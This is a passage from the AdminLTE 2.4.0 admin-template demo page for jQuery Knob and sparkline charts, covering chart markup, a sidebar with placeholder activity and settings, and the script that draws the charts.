836:                   </p>
837:
838:                   <p>
839:                     Tristate charts
840:                     <span class="sparktristate">1,1,0,1,-1,-1,1,-1,0,0,1,1</span><br>
841:                     (think games won, lost or drawn)
842:                   </p>
843:
844:                   <p>
845:                     Tristate chart using a colour map:
846:                     <span class="sparktristatecols">1,2,0,2,-1,-2,1,-2,0,0,1,1</span>
847:                   </p>
848:
849:                   <p>
850:                     Box Plot: <span class="sparkboxplot">4,27,34,52,54,59,61,68,78,82,85,87,91,93,100</span><br>
851:                     Pre-computed box plot <span class="sparkboxplotraw">Loading..</span>
852:                   </p>
853:
854:                   <p>
855:                     Pie charts
856:                     <span class="sparkpie">1,1,2</span>
857:                     <span class="sparkpie">1,5</span>
858:                     <span class="sparkpie">20,50,80</span>
859:                   </p>
860:                 </div>
861:                 <!-- /.col -->
862:               </div>
863:               <!-- /.row -->
864:             </div>
865:             <!-- /.box-body -->
866:           </div>
867:           <!-- /.box -->
868:         </div>
869:         <!-- /.col -->
870:       </div>
871:       <!-- /.row -->
872:
873:     </section>
874:     <!-- /.content -->
875:   </div>
876:   <!-- /.content-wrapper -->
877:   <footer class="main-footer">
878:     <div class="pull-right hidden-xs">
879:       <b>Version</b> 2.4.0
880:     </div>
881:     <strong>Copyright &copy; 2014-2016 <a href="https://adminlte.io">Almsaeed Studio</a>.</strong> All rights
882:     reserved.
883:   </footer>
884:
885:   <!-- Control Sidebar -->
886:   <aside class="control-sidebar control-sidebar-dark">
887:     <!-- Create the tabs -->
888:     <ul class="nav nav-tabs nav-justified control-sidebar-tabs">
889:       <li><a href="#control-sidebar-home-tab" data-toggle="tab"><i class="fa fa-home"></i></a></li>
890:       <li><a href="#control-sidebar-settings-tab" data-toggle="tab"><i class="fa fa-gears"></i></a></li>
891:     </ul>
892:     <!-- Tab panes -->
893:     <div class="tab-content">
894:       <!-- Home tab content -->
895:       <div class="tab-pane" id="control-sidebar-home-tab">
896:         <h3 class="control-sidebar-heading">Recent Activity</h3>
897:         <ul class="control-sidebar-menu">
898:           <li>
899:             <a href="javascript:void(0)">
900:               <i class="menu-icon fa fa-birthday-cake bg-red"></i>
901:
902:               <div class="menu-info">
903:                 <h4 class="control-sidebar-subheading">Langdon's Birthday</h4>
904:
905:                 <p>Will be 23 on April 24th</p>
906:               </div>
907:             </a>
908:           </li>
909:           <li>
910:             <a href="javascript:void(0)">
911:               <i class="menu-icon fa fa-user bg-yellow"></i>
912:
913:               <div class="menu-info">
914:                 <h4 class="control-sidebar-subheading">Frodo Updated His Profile</h4>
915:
916:                 <p>New phone +1(800)555-1234</p>
917:               </div>
918:             </a>
919:           </li>
920:           <li>
921:             <a href="javascript:void(0)">
922:               <i class="menu-icon fa fa-envelope-o bg-light-blue"></i>
923:
924:               <div class="menu-info">
925:                 <h4 class="control-sidebar-subheading">Nora Joined Mailing List</h4>
926:
927:                 <p>nora@example.com</p>
928:               </div>
929:             </a>
930:           </li>
931:           <li>
932:             <a href="javascript:void(0)">
933:               <i class="menu-icon fa fa-file-code-o bg-green"></i>
934:
935:               <div class="menu-info">
936:                 <h4 class="control-sidebar-subheading">Cron Job 254 Executed</h4>
937:
938:                 <p>Execution time 5 seconds</p>
939:               </div>
940:             </a>
941:           </li>
942:         </ul>
943:         <!-- /.control-sidebar-menu -->
944:
945:         <h3 class="control-sidebar-heading">Tasks Progress</h3>
946:         <ul class="control-sidebar-menu">
947:           <li>
948:             <a href="javascript:void(0)">
949:               <h4 class="control-sidebar-subheading">
950:                 Custom Template Design
951:                 <span class="label label-danger pull-right">70%</span>
952:               </h4>
953:
954:               <div class="progress progress-xxs">
955:                 <div class="progress-bar progress-bar-danger" style="width: 70%"></div>
956:               </div>
957:             </a>
958:           </li>
959:           <li>
960:             <a href="javascript:void(0)">
961:               <h4 class="control-sidebar-subheading">
962:                 Update Resume
963:                 <span class="label label-success pull-right">95%</span>
964:               </h4>
965:
966:               <div class="progress progress-xxs">
967:                 <div class="progress-bar progress-bar-success" style="width: 95%"></div>
968:               </div>
969:             </a>
970:           </li>
971:           <li>
972:             <a href="javascript:void(0)">
973:               <h4 class="control-sidebar-subheading">
974:                 Laravel Integration
975:                 <span class="label label-warning pull-right">50%</span>
976:               </h4>
977:
978:               <div class="progress progress-xxs">
979:                 <div class="progress-bar progress-bar-warning" style="width: 50%"></div>
980:               </div>
981:             </a>
982:           </li>
983:           <li>
984:             <a href="javascript:void(0)">
985:               <h4 class="control-sidebar-subheading">
986:                 Back End Framework
987:                 <span class="label label-primary pull-right">68%</span>
988:               </h4>
989:
990:               <div class="progress progress-xxs">
991:                 <div class="progress-bar progress-bar-primary" style="width: 68%"></div>
992:               </div>
993:             </a>
994:           </li>
995:         </ul>
996:         <!-- /.control-sidebar-menu -->
997:
998:       </div>
999:       <!-- /.tab-pane -->
000:       <!-- Stats tab content -->
001:       <div class="tab-pane" id="control-sidebar-stats-tab">Stats Tab Content</div>
002:       <!-- /.tab-pane -->
003:       <!-- Settings tab content -->
004:       <div class="tab-pane" id="control-sidebar-settings-tab">
005:         <form method="post">
006:           <h3 class="control-sidebar-heading">General Settings</h3>
007:
008:           <div class="form-group">
009:             <label class="control-sidebar-subheading">
010:               Report panel usage
011:               <input type="checkbox" class="pull-right" checked>
012:             </label>
013:
014:             <p>
015:               Some information about this general settings option
016:             </p>
017:           </div>
018:           <!-- /.form-group -->
019:
020:           <div class="form-group">
021:             <label class="control-sidebar-subheading">
022:               Allow mail redirect
023:               <input type="checkbox" class="pull-right" checked>
024:             </label>
025:
026:             <p>
027:               Other sets of options are available
028:             </p>
029:           </div>
030:           <!-- /.form-group -->
031:
032:           <div class="form-group">
033:             <label class="control-sidebar-subheading">
034:               Expose author name in posts
035:               <input type="checkbox" class="pull-right" checked>
036:             </label>
037:
038:             <p>
039:               Allow the user to show his name in blog posts
040:             </p>
041:           </div>
042:           <!-- /.form-group -->
043:
044:           <h3 class="control-sidebar-heading">Chat Settings</h3>
045:
046:           <div class="form-group">
047:             <label class="control-sidebar-subheading">
048:               Show me as online
049:               <input type="checkbox" class="pull-right" checked>
050:             </label>
051:           </div>
052:           <!-- /.form-group -->
053:
054:           <div class="form-group">
055:             <label class="control-sidebar-subheading">
056:               Turn off notifications
057:               <input type="checkbox" class="pull-right">
058:             </label>
059:           </div>
060:           <!-- /.form-group -->
061:
062:           <div class="form-group">
063:             <label class="control-sidebar-subheading">
064:               Delete chat history
065:               <a href="javascript:void(0)" class="text-red pull-right"><i class="fa fa-trash-o"></i></a>
066:             </label>
067:           </div>
068:           <!-- /.form-group -->
069:         </form>
070:       </div>
071:       <!-- /.tab-pane -->
072:     </div>
073:   </aside>
074:   <!-- /.control-sidebar -->
075:   <!-- Add the sidebar's background. This div must be placed
076:        immediately after the control sidebar -->

077:   <div class="control-sidebar-bg"></div>
078: </div>
079: <!-- ./wrapper -->
080:
081: <!-- jQuery 3.1.1 -->
082: <script src="../../plugins/jQuery/jquery-3.1.1.min.js"></script>
083: <!-- Bootstrap 3.3.7 -->
084: <script src="../../bootstrap/js/bootstrap.min.js"></script>
085: <!-- SlimScroll 1.3.0 -->
086: <script src="../../plugins/slimScroll/jquery.slimscroll.min.js"></script>
087: <!-- FastClick -->
088: <script src="../../plugins/fastclick/fastclick.js"></script>
089: <!-- AdminLTE App -->
090: <script src="../../dist/js/adminlte.min.js"></script>
091: <!-- AdminLTE for demo purposes -->
092: <script src="../../dist/js/demo.js"></script>
093: <!-- jQuery Knob -->
094: <script src="../../plugins/knob/jquery.knob.js"></script>
095: <!-- Sparkline -->
096: <script src="../../plugins/sparkline/jquery.sparkline.min.js"></script>
097: <!-- page script -->
098: <script>
099:   $(function () {
100:     /* jQueryKnob */
101:
102:     $(".knob").knob({
103:       /*change : function (value) {
104:        //console.log("change : " + value);
105:        },
106:        release : function (value) {
107:        console.log("release : " + value);
108:        },
109:        cancel : function () {
110:        console.log("cancel : " + this.value);
111:        },*/
112:       draw: function () {
113:
114:         // "tron" case
115:         if (this.$.data('skin') == 'tron') {
116:
117:           var a = this.angle(this.cv)  // Angle
118:               , sa = this.startAngle          // Previous start angle
119:               , sat = this.startAngle         // Start angle
120:               , ea                            // Previous end angle
121:               , eat = sat + a                 // End angle
122:               , r = true;
123:
124:           this.g.lineWidth = this.lineWidth;
125:
126:           this.o.cursor
127:           && (sat = eat - 0.3)
128:           && (eat = eat + 0.3);
129:
130:           if (this.o.displayPrevious) {
131:             ea = this.startAngle + this.angle(this.value);
132:             this.o.cursor
133:             && (sa = ea - 0.3)
134:             && (ea = ea + 0.3);
135:             this.g.beginPath();
136:             this.g.strokeStyle = this.previousColor;
137:             this.g.arc(this.xy, this.xy, this.radius - this.lineWidth, sa, ea, false);
138:             this.g.stroke();
139:           }
140:
141:           this.g.beginPath();
142:           this.g.strokeStyle = r ? this.o.fgColor : this.fgColor;
143:           this.g.arc(this.xy, this.xy, this.radius - this.lineWidth, sat, eat, false);
144:           this.g.stroke();
145:
146:           this.g.lineWidth = 2;
147:           this.g.beginPath();
148:           this.g.strokeStyle = this.o.fgColor;
149:           this.g.arc(this.xy, this.xy, this.radius - this.lineWidth + 1 + this.lineWidth * 2 / 3, 0, 2 * Math.PI, false);
150:           this.g.stroke();
151:
152:           return false;
153:         }
154:       }
155:     });
156:     /* END JQUERY KNOB */
157:
158:     //INITIALIZE SPARKLINE CHARTS
159:     $(".sparkline").each(function () {
160:       var $this = $(this);
161:       $this.sparkline('html', $this.data());
162:     });
163:
164:     /* SPARKLINE DOCUMENTATION EXAMPLES http://omnipotent.net/jquery.sparkline/#s-about */
165:     drawDocSparklines();
166:     drawMouseSpeedDemo();
167:
168:   });
169:   function drawDocSparklines() {
170:
171:     // Bar + line composite charts
172:     $('#compositebar').sparkline('html', {type: 'bar', barColor: '#aaf'});
173:     $('#compositebar').sparkline([4, 1, 5, 7, 9, 9, 8, 7, 6, 6, 4, 7, 8, 4, 3, 2, 2, 5, 6, 7],
174:         {composite: true, fillColor: false, lineColor: 'red'});
175:
176:
177:     // Line charts taking their values from the tag
178:     $('.sparkline-1').sparkline();
179:
180:     // Larger line charts for the docs
181:     $('.largeline').sparkline('html',
182:         {type: 'line', height: '2.5em', width: '4em'});
183:
184:     // Customized line chart
185:     $('#linecustom').sparkline('html',
186:         {
187:           height: '1.5em', width: '8em', lineColor: '#f00', fillColor: '#ffa',
188:           minSpotColor: false, maxSpotColor: false, spotColor: '#77f', spotRadius: 3
189:         });
190:
191:     // Bar charts using inline values
192:     $('.sparkbar').sparkline('html', {type: 'bar'});
193:
194:     $('.barformat').sparkline([1, 3, 5, 3, 8], {
195:       type: 'bar',
196:       tooltipFormat: '{{value:levels}} - {{value}}',
197:       tooltipValueLookups: {
198:         levels: $.range_map({':2': 'Low', '3:6': 'Medium', '7:': 'High'})
199:       }
200:     });
201:
202:     // Tri-state charts using inline values
203:     $('.sparktristate').sparkline('html', {type: 'tristate'});
204:     $('.sparktristatecols').sparkline('html',
205:         {type: 'tristate', colorMap: {'-2': '#fa7', '2': '#44f'}});
206:
207:     // Composite line charts, the second using values supplied via javascript
208:     $('#compositeline').sparkline('html', {fillColor: false, changeRangeMin: 0, chartRangeMax: 10});
209:     $('#compositeline').sparkline([4, 1, 5, 7, 9, 9, 8, 7, 6, 6, 4, 7, 8, 4, 3, 2, 2, 5, 6, 7],
210:         {composite: true, fillColor: false, lineColor: 'red', changeRangeMin: 0, chartRangeMax: 10});
211:
212:     // Line charts with normal range marker
213:     $('#normalline').sparkline('html',
214:         {fillColor: false, normalRangeMin: -1, normalRangeMax: 8});
215:     $('#normalExample').sparkline('html',
216:         {fillColor: false, normalRangeMin: 80, normalRangeMax: 95, normalRangeColor: '#4f4'});
217:
218:     // Discrete charts
219:     $('.discrete1').sparkline('html',
220:         {type: 'discrete', lineColor: 'blue', xwidth: 18});
221:     $('#discrete2').sparkline('html',
222:         {type: 'discrete', lineColor: 'blue', thresholdColor: 'red', thresholdValue: 4});
223:
224:     // Bullet charts
225:     $('.sparkbullet').sparkline('html', {type: 'bullet'});
226:
227:     // Pie charts
228:     $('.sparkpie').sparkline('html', {type: 'pie', height: '1.0em'});
229:
230:     // Box plots
231:     $('.sparkboxplot').sparkline('html', {type: 'box'});
232:     $('.sparkboxplotraw').sparkline([1, 3, 5, 8, 10, 15, 18],
233:         {type: 'box', raw: true, showOutliers: true, target: 6});
234:
235:     // Box plot with specific field order
236:     $('.boxfieldorder').sparkline('html', {
237:       type: 'box',
238:       tooltipFormatFieldlist: ['med', 'lq', 'uq'],
239:       tooltipFormatFieldlistKey: 'field'
240:     });
241:
242:     // click event demo sparkline
243:     $('.clickdemo').sparkline();
244:     $('.clickdemo').bind('sparklineClick', function (ev) {
245:       var sparkline = ev.sparklines[0],
246:           region = sparkline.getCurrentRegionFields();
247:       value = region.y;
248:       alert("Clicked on x=" + region.x + " y=" + region.y);
249:     });
250:
251:     // mouseover event demo sparkline
252:     $('.mouseoverdemo').sparkline();
253:     $('.mouseoverdemo').bind('sparklineRegionChange', function (ev) {
254:       var sparkline = ev.sparklines[0],
255:           region = sparkline.getCurrentRegionFields();
256:       value = region.y;
257:       $('.mouseoverregion').text("x=" + region.x + " y=" + region.y);
258:     }).bind('mouseleave', function () {
259:       $('.mouseoverregion').text('');
260:     });
261:   }
262:
263:   /**
264:    ** Draw the little mouse speed animated graph
265:    ** This just attaches a handler to the mousemove event to see
266:    ** (roughly) how far the mouse has moved
267:    ** and then updates the display a couple of times a second via
268:    ** setTimeout()
269:    **/
270:   function drawMouseSpeedDemo() {
271:     var mrefreshinterval = 500; // update display every 500ms
272:     var lastmousex = -1;
273:     var lastmousey = -1;
274:     var lastmousetime;
275:     var mousetravel = 0;
276:     var mpoints = [];
277:     var mpoints_max = 30;
278:     $('html').mousemove(function (e) {
279:       var mousex = e.pageX;
280:       var mousey = e.pageY;
281:       if (lastmousex > -1) {
282:         mousetravel += Math.max(Math.abs(mousex - lastmousex), Math.abs(mousey - lastmousey));
283:       }
284:       lastmousex = mousex;
285:       lastmousey = mousey;
286:     });
287:     var mdraw = function () {
288:       var md = new Date();
289:       var timenow = md.getTime();
290:       if (lastmousetime && lastmousetime != timenow) {
291:         var pps = Math.round(mousetravel / (timenow - lastmousetime) * 1000);
292:         mpoints.push(pps);
293:         if (mpoints.length > mpoints_max)
294:           mpoints.splice(0, 1);
295:         mousetravel = 0;
296:         $('#mousespeed').sparkline(mpoints, {width: mpoints.length * 2, tooltipSuffix: ' pixels per second'});
297:       }
298:       lastmousetime = timenow;
299:       setTimeout(mdraw, mrefreshinterval);
300:     };
301:     // We could use setInterval instead, but I prefer to do it this way
302:     setTimeout(mdraw, mrefreshinterval);
303:   }
304: </script>
305: </body>
306: </html>
307:
308:
309: